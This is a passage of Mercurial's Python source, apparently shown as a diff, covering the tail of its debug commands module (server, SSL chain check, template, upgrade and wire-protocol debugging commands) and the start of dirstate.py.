                 for c in arevs[alo:ahi]:
                     ui.write(b' %d\n' % c)
         return 1
 
     func = revset.makematcher(tree)
     revs = func(repo)
     if opts[b'show_set'] or (opts[b'show_set'] is None and ui.verbose):
         ui.writenoi18n(b"* set:\n", stringutil.prettyrepr(revs), b"\n")
     if not opts[b'show_revs']:
         return
     for c in revs:
         ui.write(b"%d\n" % c)
 
 
 @command(
     b'debugserve',
     [
         (
             b'',
             b'sshstdio',
             False,
             _(b'run an SSH server bound to process handles'),
         ),
         (b'', b'logiofd', b'', _(b'file descriptor to log server I/O to')),
         (b'', b'logiofile', b'', _(b'file to log server I/O to')),
     ],
     b'',
 )
 def debugserve(ui, repo, **opts):
     """run a server with advanced settings
 
     This command is similar to :hg:`serve`. It exists partially as a
     workaround to the fact that ``hg serve --stdio`` must have specific
     arguments for security reasons.
     """
     opts = pycompat.byteskwargs(opts)
 
     if not opts[b'sshstdio']:
         raise error.Abort(_(b'only --sshstdio is currently supported'))
 
     logfh = None
 
     if opts[b'logiofd'] and opts[b'logiofile']:
         raise error.Abort(_(b'cannot use both --logiofd and --logiofile'))
 
     if opts[b'logiofd']:
         # Line buffered because output is line based.
         try:
             logfh = os.fdopen(int(opts[b'logiofd']), 'ab', 1)
         except OSError as e:
             if e.errno != errno.ESPIPE:
                 raise
             # can't seek a pipe, so `ab` mode fails on py3
             logfh = os.fdopen(int(opts[b'logiofd']), 'wb', 1)
     elif opts[b'logiofile']:
         logfh = open(opts[b'logiofile'], b'ab', 1)
 
     s = wireprotoserver.sshserver(ui, repo, logfh=logfh)
     s.serve_forever()
 
 
 @command(b'debugsetparents', [], _(b'REV1 [REV2]'))
 def debugsetparents(ui, repo, rev1, rev2=None):
     """manually set the parents of the current working directory
 
     This is useful for writing repository conversion tools, but should
     be used with care. For example, neither the working directory nor the
     dirstate is updated, so file status may be incorrect after running this
     command.
 
     Returns 0 on success.
     """
 
     node1 = scmutil.revsingle(repo, rev1).node()
     node2 = scmutil.revsingle(repo, rev2, b'null').node()
 
     with repo.wlock():
         repo.setparents(node1, node2)
 
 
 @command(b'debugsidedata', cmdutil.debugrevlogopts, _(b'-c|-m|FILE REV'))
 def debugsidedata(ui, repo, file_, rev=None, **opts):
     """dump the side data for a cl/manifest/file revision
 
     Use --verbose to dump the sidedata content."""
     opts = pycompat.byteskwargs(opts)
     if opts.get(b'changelog') or opts.get(b'manifest') or opts.get(b'dir'):
         if rev is not None:
             raise error.CommandError(b'debugdata', _(b'invalid arguments'))
         file_, rev = None, file_
     elif rev is None:
         raise error.CommandError(b'debugdata', _(b'invalid arguments'))
     r = cmdutil.openstorage(repo, b'debugdata', file_, opts)
     r = getattr(r, '_revlog', r)
     try:
         sidedata = r.sidedata(r.lookup(rev))
     except KeyError:
         raise error.Abort(_(b'invalid revision identifier %s') % rev)
     if sidedata:
         sidedata = list(sidedata.items())
         sidedata.sort()
         ui.writenoi18n(b'%d sidedata entries\n' % len(sidedata))
         for key, value in sidedata:
             ui.writenoi18n(b' entry-%04o size %d\n' % (key, len(value)))
             if ui.verbose:
                 ui.writenoi18n(b'  %s\n' % stringutil.pprint(value))
 
 
 @command(b'debugssl', [], b'[SOURCE]', optionalrepo=True)
 def debugssl(ui, repo, source=None, **opts):
     '''test a secure connection to a server
 
     This builds the certificate chain for the server on Windows, installing the
     missing intermediates and trusted root via Windows Update if necessary.  It
     does nothing on other platforms.
 
     If SOURCE is omitted, the 'default' path will be used.  If a URL is given,
     that server is used. See :hg:`help urls` for more information.
 
     If the update succeeds, retry the original operation.  Otherwise, the cause
     of the SSL error is likely another issue.
     '''
     if not pycompat.iswindows:
         raise error.Abort(
             _(b'certificate chain building is only possible on Windows')
         )
 
     if not source:
         if not repo:
             raise error.Abort(
                 _(
                     b"there is no Mercurial repository here, and no "
                     b"server specified"
                 )
             )
         source = b"default"
 
     source, branches = hg.parseurl(ui.expandpath(source))
     url = util.url(source)
 
     defaultport = {b'https': 443, b'ssh': 22}
     if url.scheme in defaultport:
         try:
             addr = (url.host, int(url.port or defaultport[url.scheme]))
         except ValueError:
             raise error.Abort(_(b"malformed port number in URL"))
     else:
         raise error.Abort(_(b"only https and ssh connections are supported"))
 
     from . import win32
 
     s = ssl.wrap_socket(
         socket.socket(),
         ssl_version=ssl.PROTOCOL_TLS,
         cert_reqs=ssl.CERT_NONE,
         ca_certs=None,
     )
 
     try:
         s.connect(addr)
         cert = s.getpeercert(True)
 
         ui.status(_(b'checking the certificate chain for %s\n') % url.host)
 
         complete = win32.checkcertificatechain(cert, build=False)
 
         if not complete:
             ui.status(_(b'certificate chain is incomplete, updating... '))
 
             if not win32.checkcertificatechain(cert):
                 ui.status(_(b'failed.\n'))
             else:
                 ui.status(_(b'done.\n'))
         else:
             ui.status(_(b'full certificate chain is available\n'))
     finally:
         s.close()
 
 
 @command(
     b'debugsub',
     [(b'r', b'rev', b'', _(b'revision to check'), _(b'REV'))],
     _(b'[-r REV] [REV]'),
 )
 def debugsub(ui, repo, rev=None):
     ctx = scmutil.revsingle(repo, rev, None)
     for k, v in sorted(ctx.substate.items()):
         ui.writenoi18n(b'path %s\n' % k)
         ui.writenoi18n(b' source   %s\n' % v[0])
         ui.writenoi18n(b' revision %s\n' % v[1])
 
 
 @command(
     b'debugsuccessorssets',
     [(b'', b'closest', False, _(b'return closest successors sets only'))],
     _(b'[REV]'),
 )
 def debugsuccessorssets(ui, repo, *revs, **opts):
     """show set of successors for revision
 
     A successors set of changeset A is a consistent group of revisions that
     succeed A. It contains non-obsolete changesets only unless closests
     successors set is set.
 
     In most cases a changeset A has a single successors set containing a single
     successor (changeset A replaced by A').
 
     A changeset that is made obsolete with no successors are called "pruned".
     Such changesets have no successors sets at all.
 
     A changeset that has been "split" will have a successors set containing
     more than one successor.
 
     A changeset that has been rewritten in multiple different ways is called
     "divergent". Such changesets have multiple successor sets (each of which
     may also be split, i.e. have multiple successors).
 
     Results are displayed as follows::
 
         <rev1>
             <successors-1A>
         <rev2>
             <successors-2A>
             <successors-2B1> <successors-2B2> <successors-2B3>
 
     Here rev2 has two possible (i.e. divergent) successors sets. The first
     holds one element, whereas the second holds three (i.e. the changeset has
     been split).
     """
     # passed to successorssets caching computation from one call to another
     cache = {}
     ctx2str = bytes
     node2str = short
     for rev in scmutil.revrange(repo, revs):
         ctx = repo[rev]
         ui.write(b'%s\n' % ctx2str(ctx))
         for succsset in obsutil.successorssets(
             repo, ctx.node(), closest=opts['closest'], cache=cache
         ):
             if succsset:
                 ui.write(b'    ')
                 ui.write(node2str(succsset[0]))
                 for node in succsset[1:]:
                     ui.write(b' ')
                     ui.write(node2str(node))
             ui.write(b'\n')
 
 
 @command(
     b'debugtemplate',
     [
         (b'r', b'rev', [], _(b'apply template on changesets'), _(b'REV')),
         (b'D', b'define', [], _(b'define template keyword'), _(b'KEY=VALUE')),
     ],
     _(b'[-r REV]... [-D KEY=VALUE]... TEMPLATE'),
     optionalrepo=True,
 )
 def debugtemplate(ui, repo, tmpl, **opts):
     """parse and apply a template
 
     If -r/--rev is given, the template is processed as a log template and
     applied to the given changesets. Otherwise, it is processed as a generic
     template.
 
     Use --verbose to print the parsed tree.
     """
     revs = None
     if opts['rev']:
         if repo is None:
             raise error.RepoError(
                 _(b'there is no Mercurial repository here (.hg not found)')
             )
         revs = scmutil.revrange(repo, opts['rev'])
 
     props = {}
     for d in opts['define']:
         try:
             k, v = (e.strip() for e in d.split(b'=', 1))
             if not k or k == b'ui':
                 raise ValueError
             props[k] = v
         except ValueError:
             raise error.Abort(_(b'malformed keyword definition: %s') % d)
 
     if ui.verbose:
         aliases = ui.configitems(b'templatealias')
         tree = templater.parse(tmpl)
         ui.note(templater.prettyformat(tree), b'\n')
         newtree = templater.expandaliases(tree, aliases)
         if newtree != tree:
             ui.notenoi18n(
                 b"* expanded:\n", templater.prettyformat(newtree), b'\n'
             )
 
     if revs is None:
         tres = formatter.templateresources(ui, repo)
         t = formatter.maketemplater(ui, tmpl, resources=tres)
         if ui.verbose:
             kwds, funcs = t.symbolsuseddefault()
             ui.writenoi18n(b"* keywords: %s\n" % b', '.join(sorted(kwds)))
             ui.writenoi18n(b"* functions: %s\n" % b', '.join(sorted(funcs)))
         ui.write(t.renderdefault(props))
     else:
         displayer = logcmdutil.maketemplater(ui, repo, tmpl)
         if ui.verbose:
             kwds, funcs = displayer.t.symbolsuseddefault()
             ui.writenoi18n(b"* keywords: %s\n" % b', '.join(sorted(kwds)))
             ui.writenoi18n(b"* functions: %s\n" % b', '.join(sorted(funcs)))
         for r in revs:
             displayer.show(repo[r], **pycompat.strkwargs(props))
         displayer.close()
 
 
 @command(
     b'debuguigetpass',
     [(b'p', b'prompt', b'', _(b'prompt text'), _(b'TEXT')),],
     _(b'[-p TEXT]'),
     norepo=True,
 )
 def debuguigetpass(ui, prompt=b''):
     """show prompt to type password"""
     r = ui.getpass(prompt)
     ui.writenoi18n(b'respose: %s\n' % r)
 
 
 @command(
     b'debuguiprompt',
     [(b'p', b'prompt', b'', _(b'prompt text'), _(b'TEXT')),],
     _(b'[-p TEXT]'),
     norepo=True,
 )
 def debuguiprompt(ui, prompt=b''):
     """show plain prompt"""
     r = ui.prompt(prompt)
     ui.writenoi18n(b'response: %s\n' % r)
 
 
 @command(b'debugupdatecaches', [])
 def debugupdatecaches(ui, repo, *pats, **opts):
     """warm all known caches in the repository"""
     with repo.wlock(), repo.lock():
         repo.updatecaches(full=True)
 
 
 @command(
     b'debugupgraderepo',
     [
         (
             b'o',
             b'optimize',
             [],
             _(b'extra optimization to perform'),
             _(b'NAME'),
         ),
         (b'', b'run', False, _(b'performs an upgrade')),
         (b'', b'backup', True, _(b'keep the old repository content around')),
         (b'', b'changelog', None, _(b'select the changelog for upgrade')),
         (b'', b'manifest', None, _(b'select the manifest for upgrade')),
     ],
 )
 def debugupgraderepo(ui, repo, run=False, optimize=None, backup=True, **opts):
     """upgrade a repository to use different features
 
     If no arguments are specified, the repository is evaluated for upgrade
     and a list of problems and potential optimizations is printed.
 
     With ``--run``, a repository upgrade is performed. Behavior of the upgrade
     can be influenced via additional arguments. More details will be provided
     by the command output when run without ``--run``.
 
     During the upgrade, the repository will be locked and no writes will be
     allowed.
 
     At the end of the upgrade, the repository may not be readable while new
     repository data is swapped in. This window will be as long as it takes to
     rename some directories inside the ``.hg`` directory. On most machines, this
     should complete almost instantaneously and the chances of a consumer being
     unable to access the repository should be low.
 
     By default, all revlog will be upgraded. You can restrict this using flag
     such as `--manifest`:
 
       * `--manifest`: only optimize the manifest
       * `--no-manifest`: optimize all revlog but the manifest
       * `--changelog`: optimize the changelog only
       * `--no-changelog --no-manifest`: optimize filelogs only
     """
     return upgrade.upgraderepo(
         ui, repo, run=run, optimize=optimize, backup=backup, **opts
     )
 
 
 @command(
     b'debugwalk', cmdutil.walkopts, _(b'[OPTION]... [FILE]...'), inferrepo=True
 )
 def debugwalk(ui, repo, *pats, **opts):
     """show how files match on given patterns"""
     opts = pycompat.byteskwargs(opts)
     m = scmutil.match(repo[None], pats, opts)
     if ui.verbose:
         ui.writenoi18n(b'* matcher:\n', stringutil.prettyrepr(m), b'\n')
     items = list(repo[None].walk(m))
     if not items:
         return
     f = lambda fn: fn
     if ui.configbool(b'ui', b'slash') and pycompat.ossep != b'/':
         f = lambda fn: util.normpath(fn)
     fmt = b'f  %%-%ds  %%-%ds  %%s' % (
         max([len(abs) for abs in items]),
         max([len(repo.pathto(abs)) for abs in items]),
     )
     for abs in items:
         line = fmt % (
             abs,
             f(repo.pathto(abs)),
             m.exact(abs) and b'exact' or b'',
         )
         ui.write(b"%s\n" % line.rstrip())
 
 
 @command(b'debugwhyunstable', [], _(b'REV'))
 def debugwhyunstable(ui, repo, rev):
     """explain instabilities of a changeset"""
     for entry in obsutil.whyunstable(repo, scmutil.revsingle(repo, rev)):
         dnodes = b''
         if entry.get(b'divergentnodes'):
             dnodes = (
                 b' '.join(
                     b'%s (%s)' % (ctx.hex(), ctx.phasestr())
                     for ctx in entry[b'divergentnodes']
                 )
                 + b' '
             )
         ui.write(
             b'%s: %s%s %s\n'
             % (entry[b'instability'], dnodes, entry[b'reason'], entry[b'node'])
         )
 
 
 @command(
     b'debugwireargs',
     [
         (b'', b'three', b'', b'three'),
         (b'', b'four', b'', b'four'),
         (b'', b'five', b'', b'five'),
     ]
     + cmdutil.remoteopts,
     _(b'REPO [OPTIONS]... [ONE [TWO]]'),
     norepo=True,
 )
 def debugwireargs(ui, repopath, *vals, **opts):
     opts = pycompat.byteskwargs(opts)
     repo = hg.peer(ui, opts, repopath)
     for opt in cmdutil.remoteopts:
         del opts[opt[1]]
     args = {}
     for k, v in pycompat.iteritems(opts):
         if v:
             args[k] = v
     args = pycompat.strkwargs(args)
     # run twice to check that we don't mess up the stream for the next command
     res1 = repo.debugwireargs(*vals, **args)
     res2 = repo.debugwireargs(*vals, **args)
     ui.write(b"%s\n" % res1)
     if res1 != res2:
         ui.warn(b"%s\n" % res2)
 
 
 def _parsewirelangblocks(fh):
     activeaction = None
     blocklines = []
     lastindent = 0
 
     for line in fh:
         line = line.rstrip()
         if not line:
             continue
 
         if line.startswith(b'#'):
             continue
 
         if not line.startswith(b' '):
             # New block. Flush previous one.
             if activeaction:
                 yield activeaction, blocklines
 
             activeaction = line
             blocklines = []
             lastindent = 0
             continue
 
         # Else we start with an indent.
 
         if not activeaction:
             raise error.Abort(_(b'indented line outside of block'))
 
         indent = len(line) - len(line.lstrip())
 
         # If this line is indented more than the last line, concatenate it.
         if indent > lastindent and blocklines:
             blocklines[-1] += line.lstrip()
         else:
             blocklines.append(line)
             lastindent = indent
 
     # Flush last block.
     if activeaction:
         yield activeaction, blocklines
 
 
 @command(
     b'debugwireproto',
     [
         (b'', b'localssh', False, _(b'start an SSH server for this repo')),
         (b'', b'peer', b'', _(b'construct a specific version of the peer')),
         (
             b'',
             b'noreadstderr',
             False,
             _(b'do not read from stderr of the remote'),
         ),
         (
             b'',
             b'nologhandshake',
             False,
             _(b'do not log I/O related to the peer handshake'),
         ),
     ]
     + cmdutil.remoteopts,
     _(b'[PATH]'),
     optionalrepo=True,
 )
 def debugwireproto(ui, repo, path=None, **opts):
     """send wire protocol commands to a server
 
     This command can be used to issue wire protocol commands to remote
     peers and to debug the raw data being exchanged.
 
     ``--localssh`` will start an SSH server against the current repository
     and connect to that. By default, the connection will perform a handshake
     and establish an appropriate peer instance.
 
     ``--peer`` can be used to bypass the handshake protocol and construct a
     peer instance using the specified class type. Valid values are ``raw``,
     ``http2``, ``ssh1``, and ``ssh2``. ``raw`` instances only allow sending
     raw data payloads and don't support higher-level command actions.
 
     ``--noreadstderr`` can be used to disable automatic reading from stderr
     of the peer (for SSH connections only). Disabling automatic reading of
     stderr is useful for making output more deterministic.
 
     Commands are issued via a mini language which is specified via stdin.
     The language consists of individual actions to perform. An action is
     defined by a block. A block is defined as a line with no leading
     space followed by 0 or more lines with leading space. Blocks are
     effectively a high-level command with additional metadata.
 
     Lines beginning with ``#`` are ignored.
 
     The following sections denote available actions.
 
     raw
     ---
 
     Send raw data to the server.
 
     The block payload contains the raw data to send as one atomic send
     operation. The data may not actually be delivered in a single system
     call: it depends on the abilities of the transport being used.
 
     Each line in the block is de-indented and concatenated. Then, that
     value is evaluated as a Python b'' literal. This allows the use of
     backslash escaping, etc.
 
     raw+
     ----
 
     Behaves like ``raw`` except flushes output afterwards.
 
     command <X>
     -----------
 
     Send a request to run a named command, whose name follows the ``command``
     string.
 
     Arguments to the command are defined as lines in this block. The format of
     each line is ``<key> <value>``. e.g.::
 
        command listkeys
            namespace bookmarks
 
     If the value begins with ``eval:``, it will be interpreted as a Python
     literal expression. Otherwise values are interpreted as Python b'' literals.
     This allows sending complex types and encoding special byte sequences via
     backslash escaping.
 
     The following arguments have special meaning:
 
     ``PUSHFILE``
         When defined, the *push* mechanism of the peer will be used instead
         of the static request-response mechanism and the content of the
         file specified in the value of this argument will be sent as the
         command payload.
 
         This can be used to submit a local bundle file to the remote.
 
     batchbegin
     ----------
 
     Instruct the peer to begin a batched send.
 
     All ``command`` blocks are queued for execution until the next
     ``batchsubmit`` block.
 
     batchsubmit
     -----------
 
     Submit previously queued ``command`` blocks as a batch request.
 
     This action MUST be paired with a ``batchbegin`` action.
 
     httprequest <method> <path>
     ---------------------------
 
     (HTTP peer only)
 
     Send an HTTP request to the peer.
 
     The HTTP request line follows the ``httprequest`` action. e.g. ``GET /foo``.
 
     Arguments of the form ``<key>: <value>`` are interpreted as HTTP request
     headers to add to the request. e.g. ``Accept: foo``.
 
     The following arguments are special:
 
     ``BODYFILE``
         The content of the file defined as the value to this argument will be
         transferred verbatim as the HTTP request body.
 
     ``frame <type> <flags> <payload>``
         Send a unified protocol frame as part of the request body.
 
         All frames will be collected and sent as the body to the HTTP
         request.
 
     close
     -----
 
     Close the connection to the server.
 
     flush
     -----
 
     Flush data written to the server.
 
     readavailable
     -------------
 
     Close the write end of the connection and read all available data from
     the server.
 
     If the connection to the server encompasses multiple pipes, we poll both
     pipes and read available data.
 
     readline
     --------
 
     Read a line of output from the server. If there are multiple output
     pipes, reads only the main pipe.
 
     ereadline
     ---------
 
     Like ``readline``, but read from the stderr pipe, if available.
 
     read <X>
     --------
 
     ``read()`` N bytes from the server's main output pipe.
 
     eread <X>
     ---------
 
     ``read()`` N bytes from the server's stderr pipe, if available.
 
     Specifying Unified Frame-Based Protocol Frames
     ----------------------------------------------
 
     It is possible to emit a *Unified Frame-Based Protocol* by using special
     syntax.
 
     A frame is composed as a type, flags, and payload. These can be parsed
     from a string of the form:
 
        <request-id> <stream-id> <stream-flags> <type> <flags> <payload>
 
     ``request-id`` and ``stream-id`` are integers defining the request and
     stream identifiers.
 
     ``type`` can be an integer value for the frame type or the string name
     of the type. The strings are defined in ``wireprotoframing.py``. e.g.
     ``command-name``.
 
     ``stream-flags`` and ``flags`` are a ``|`` delimited list of flag
     components. Each component (and there can be just one) can be an integer
     or a flag name for stream flags or frame flags, respectively. Values are
     resolved to integers and then bitwise OR'd together.
 
     ``payload`` represents the raw frame payload. If it begins with
     ``cbor:``, the following string is evaluated as Python code and the
     resulting object is fed into a CBOR encoder. Otherwise it is interpreted
     as a Python byte string literal.
     """
     opts = pycompat.byteskwargs(opts)
 
     if opts[b'localssh'] and not repo:
         raise error.Abort(_(b'--localssh requires a repository'))
 
     if opts[b'peer'] and opts[b'peer'] not in (
         b'raw',
         b'http2',
         b'ssh1',
         b'ssh2',
     ):
         raise error.Abort(
             _(b'invalid value for --peer'),
             hint=_(b'valid values are "raw", "ssh1", and "ssh2"'),
         )
 
     if path and opts[b'localssh']:
         raise error.Abort(_(b'cannot specify --localssh with an explicit path'))
 
     if ui.interactive():
         ui.write(_(b'(waiting for commands on stdin)\n'))
 
     blocks = list(_parsewirelangblocks(ui.fin))
 
     proc = None
     stdin = None
     stdout = None
     stderr = None
     opener = None
 
     if opts[b'localssh']:
         # We start the SSH server in its own process so there is process
         # separation. This prevents a whole class of potential bugs around
         # shared state from interfering with server operation.
         args = procutil.hgcmd() + [
             b'-R',
             repo.root,
             b'debugserve',
             b'--sshstdio',
         ]
         proc = subprocess.Popen(
             pycompat.rapply(procutil.tonativestr, args),
             stdin=subprocess.PIPE,
             stdout=subprocess.PIPE,
             stderr=subprocess.PIPE,
             bufsize=0,
         )
 
         stdin = proc.stdin
         stdout = proc.stdout
         stderr = proc.stderr
 
         # We turn the pipes into observers so we can log I/O.
         if ui.verbose or opts[b'peer'] == b'raw':
             stdin = util.makeloggingfileobject(
                 ui, proc.stdin, b'i', logdata=True
             )
             stdout = util.makeloggingfileobject(
                 ui, proc.stdout, b'o', logdata=True
             )
             stderr = util.makeloggingfileobject(
                 ui, proc.stderr, b'e', logdata=True
             )
 
         # --localssh also implies the peer connection settings.
 
         url = b'ssh://localserver'
         autoreadstderr = not opts[b'noreadstderr']
 
         if opts[b'peer'] == b'ssh1':
             ui.write(_(b'creating ssh peer for wire protocol version 1\n'))
             peer = sshpeer.sshv1peer(
                 ui,
                 url,
                 proc,
                 stdin,
                 stdout,
                 stderr,
                 None,
                 autoreadstderr=autoreadstderr,
             )
         elif opts[b'peer'] == b'ssh2':
             ui.write(_(b'creating ssh peer for wire protocol version 2\n'))
             peer = sshpeer.sshv2peer(
                 ui,
                 url,
                 proc,
                 stdin,
                 stdout,
                 stderr,
                 None,
                 autoreadstderr=autoreadstderr,
             )
         elif opts[b'peer'] == b'raw':
             ui.write(_(b'using raw connection to peer\n'))
             peer = None
         else:
             ui.write(_(b'creating ssh peer from handshake results\n'))
             peer = sshpeer.makepeer(
                 ui,
                 url,
                 proc,
                 stdin,
                 stdout,
                 stderr,
                 autoreadstderr=autoreadstderr,
             )
 
     elif path:
         # We bypass hg.peer() so we can proxy the sockets.
         # TODO consider not doing this because we skip
         # ``hg.wirepeersetupfuncs`` and potentially other useful functionality.
         u = util.url(path)
         if u.scheme != b'http':
             raise error.Abort(_(b'only http:// paths are currently supported'))
 
         url, authinfo = u.authinfo()
         openerargs = {
             'useragent': b'Mercurial debugwireproto',
         }
 
         # Turn pipes/sockets into observers so we can log I/O.
         if ui.verbose:
             openerargs.update(
                 {
                     'loggingfh': ui,
                     'loggingname': b's',
                     'loggingopts': {'logdata': True, 'logdataapis': False,},
                 }
             )
 
         if ui.debugflag:
             openerargs['loggingopts']['logdataapis'] = True
 
         # Don't send default headers when in raw mode. This allows us to
         # bypass most of the behavior of our URL handling code so we can
         # have near complete control over what's sent on the wire.
         if opts[b'peer'] == b'raw':
             openerargs['sendaccept'] = False
 
         opener = urlmod.opener(ui, authinfo, **openerargs)
 
         if opts[b'peer'] == b'http2':
             ui.write(_(b'creating http peer for wire protocol version 2\n'))
             # We go through makepeer() because we need an API descriptor for
             # the peer instance to be useful.
             with ui.configoverride(
                 {(b'experimental', b'httppeer.advertise-v2'): True}
             ):
                 if opts[b'nologhandshake']:
                     ui.pushbuffer()
 
                 peer = httppeer.makepeer(ui, path, opener=opener)
 
                 if opts[b'nologhandshake']:
                     ui.popbuffer()
 
             if not isinstance(peer, httppeer.httpv2peer):
                 raise error.Abort(
                     _(
                         b'could not instantiate HTTP peer for '
                         b'wire protocol version 2'
                     ),
                     hint=_(
                         b'the server may not have the feature '
                         b'enabled or is not allowing this '
                         b'client version'
                     ),
                 )
 
         elif opts[b'peer'] == b'raw':
             ui.write(_(b'using raw connection to peer\n'))
             peer = None
         elif opts[b'peer']:
             raise error.Abort(
                 _(b'--peer %s not supported with HTTP peers') % opts[b'peer']
             )
         else:
             peer = httppeer.makepeer(ui, path, opener=opener)
 
         # We /could/ populate stdin/stdout with sock.makefile()...
     else:
         raise error.Abort(_(b'unsupported connection configuration'))
 
     batchedcommands = None
 
     # Now perform actions based on the parsed wire language instructions.
     for action, lines in blocks:
         if action in (b'raw', b'raw+'):
             if not stdin:
                 raise error.Abort(_(b'cannot call raw/raw+ on this peer'))
 
             # Concatenate the data together.
             data = b''.join(l.lstrip() for l in lines)
             data = stringutil.unescapestr(data)
             stdin.write(data)
 
             if action == b'raw+':
                 stdin.flush()
         elif action == b'flush':
             if not stdin:
                 raise error.Abort(_(b'cannot call flush on this peer'))
             stdin.flush()
         elif action.startswith(b'command'):
             if not peer:
                 raise error.Abort(
                     _(
                         b'cannot send commands unless peer instance '
                         b'is available'
                     )
                 )
 
             command = action.split(b' ', 1)[1]
 
             args = {}
             for line in lines:
                 # We need to allow empty values.
                 fields = line.lstrip().split(b' ', 1)
                 if len(fields) == 1:
                     key = fields[0]
                     value = b''
                 else:
                     key, value = fields
 
                 if value.startswith(b'eval:'):
                     value = stringutil.evalpythonliteral(value[5:])
                 else:
                     value = stringutil.unescapestr(value)
 
                 args[key] = value
 
             if batchedcommands is not None:
                 batchedcommands.append((command, args))
                 continue
 
             ui.status(_(b'sending %s command\n') % command)
 
             if b'PUSHFILE' in args:
                 with open(args[b'PUSHFILE'], 'rb') as fh:
                     del args[b'PUSHFILE']
                     res, output = peer._callpush(
                         command, fh, **pycompat.strkwargs(args)
                     )
                     ui.status(_(b'result: %s\n') % stringutil.escapestr(res))
                     ui.status(
                         _(b'remote output: %s\n') % stringutil.escapestr(output)
                     )
             else:
                 with peer.commandexecutor() as e:
                     res = e.callcommand(command, args).result()
 
                 if isinstance(res, wireprotov2peer.commandresponse):
                     val = res.objects()
                     ui.status(
                         _(b'response: %s\n')
                         % stringutil.pprint(val, bprefix=True, indent=2)
                     )
                 else:
                     ui.status(
                         _(b'response: %s\n')
                         % stringutil.pprint(res, bprefix=True, indent=2)
                     )
 
         elif action == b'batchbegin':
             if batchedcommands is not None:
                 raise error.Abort(_(b'nested batchbegin not allowed'))
 
             batchedcommands = []
         elif action == b'batchsubmit':
             # There is a batching API we could go through. But it would be
             # difficult to normalize requests into function calls. It is easier
             # to bypass this layer and normalize to commands + args.
             ui.status(
                 _(b'sending batch with %d sub-commands\n')
                 % len(batchedcommands)
             )
             for i, chunk in enumerate(peer._submitbatch(batchedcommands)):
                 ui.status(
                     _(b'response #%d: %s\n') % (i, stringutil.escapestr(chunk))
                 )
 
             batchedcommands = None
 
         elif action.startswith(b'httprequest '):
             if not opener:
                 raise error.Abort(
                     _(b'cannot use httprequest without an HTTP peer')
                 )
 
             request = action.split(b' ', 2)
             if len(request) != 3:
                 raise error.Abort(
                     _(
                         b'invalid httprequest: expected format is '
                         b'"httprequest <method> <path>'
                     )
                 )
 
             method, httppath = request[1:]
             headers = {}
             body = None
             frames = []
             for line in lines:
                 line = line.lstrip()
                 m = re.match(b'^([a-zA-Z0-9_-]+): (.*)$', line)
                 if m:
                     # Headers need to use native strings.
                     key = pycompat.strurl(m.group(1))
                     value = pycompat.strurl(m.group(2))
                     headers[key] = value
                     continue
 
                 if line.startswith(b'BODYFILE '):
                     with open(line.split(b' ', 1), b'rb') as fh:
                         body = fh.read()
                 elif line.startswith(b'frame '):
                     frame = wireprotoframing.makeframefromhumanstring(
                         line[len(b'frame ') :]
                     )
 
                     frames.append(frame)
                 else:
                     raise error.Abort(
                         _(b'unknown argument to httprequest: %s') % line
                     )
 
             url = path + httppath
 
             if frames:
                 body = b''.join(bytes(f) for f in frames)
 
             req = urlmod.urlreq.request(pycompat.strurl(url), body, headers)
 
             # urllib.Request insists on using has_data() as a proxy for
             # determining the request method. Override that to use our
             # explicitly requested method.
             req.get_method = lambda: pycompat.sysstr(method)
 
             try:
                 res = opener.open(req)
                 body = res.read()
             except util.urlerr.urlerror as e:
                 # read() method must be called, but only exists in Python 2
                 getattr(e, 'read', lambda: None)()
                 continue
 
             ct = res.headers.get('Content-Type')
             if ct == 'application/mercurial-cbor':
                 ui.write(
                     _(b'cbor> %s\n')
                     % stringutil.pprint(
                         cborutil.decodeall(body), bprefix=True, indent=2
                     )
                 )
 
         elif action == b'close':
             peer.close()
         elif action == b'readavailable':
             if not stdout or not stderr:
                 raise error.Abort(
                     _(b'readavailable not available on this peer')
                 )
 
             stdin.close()
             stdout.read()
             stderr.read()
 
         elif action == b'readline':
             if not stdout:
                 raise error.Abort(_(b'readline not available on this peer'))
             stdout.readline()
         elif action == b'ereadline':
             if not stderr:
                 raise error.Abort(_(b'ereadline not available on this peer'))
             stderr.readline()
         elif action.startswith(b'read '):
             count = int(action.split(b' ', 1)[1])
             if not stdout:
                 raise error.Abort(_(b'read not available on this peer'))
             stdout.read(count)
         elif action.startswith(b'eread '):
             count = int(action.split(b' ', 1)[1])
             if not stderr:
                 raise error.Abort(_(b'eread not available on this peer'))
             stderr.read(count)
         else:
             raise error.Abort(_(b'unknown action: %s') % action)
 
     if batchedcommands is not None:
         raise error.Abort(_(b'unclosed "batchbegin" request'))
 
     if peer:
         peer.close()
 
     if proc:
         proc.kill()

mercurial/dirstate.py

@@ -1,1843 +1,1843 b''
 # dirstate.py - working directory tracking for mercurial
 #
 # Copyright 2005-2007 Matt Mackall <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import
 
 import collections
 import contextlib
 import errno
 import os
 import stat
 
 from .i18n import _
 from .node import nullid
 from .pycompat import delattr
 
 from hgdemandimport import tracing
 
 from . import (
     encoding,
     error,
     match as matchmod,
     pathutil,
     policy,
     pycompat,
     scmutil,
     txnutil,
     util,
 )
 
 from .interfaces import (
     dirstate as intdirstate,
     util as interfaceutil,
 )
 
 parsers = policy.importmod('parsers')
 rustmod = policy.importrust('dirstate')
 
 propertycache = util.propertycache
 filecache = scmutil.filecache
 _rangemask = 0x7FFFFFFF
 
 dirstatetuple = parsers.dirstatetuple
 
 
 class repocache(filecache):
     """filecache for files in .hg/"""
 
     def join(self, obj, fname):
         return obj._opener.join(fname)
 
 
 class rootcache(filecache):
     """filecache for files in the repository root"""
 
     def join(self, obj, fname):
         return obj._join(fname)
 
 
 def _getfsnow(vfs):
     '''Get "now" timestamp on filesystem'''
     tmpfd, tmpname = vfs.mkstemp()
     try:
         return os.fstat(tmpfd)[stat.ST_MTIME]
     finally:
         os.close(tmpfd)
         vfs.unlink(tmpname)
 
 
 @interfaceutil.implementer(intdirstate.idirstate)
 class dirstate(object):
     def __init__(self, opener, ui, root, validate, sparsematchfn):
         '''Create a new dirstate object.
 
         opener is an open()-like callable that can be used to open the
         dirstate file; root is the root of the directory tracked by
         the dirstate.
         '''
         self._opener = opener
         self._validate = validate
         self._root = root
         self._sparsematchfn = sparsematchfn
         # ntpath.join(root, '') of Python 2.7.9 does not add sep if root is
         # UNC path pointing to root share (issue4557)
         self._rootdir = pathutil.normasprefix(root)
         self._dirty = False
         self._lastnormaltime = 0
         self._ui = ui
         self._filecache = {}
         self._parentwriters = 0
         self._filename = b'dirstate'
         self._pendingfilename = b'%s.pending' % self._filename
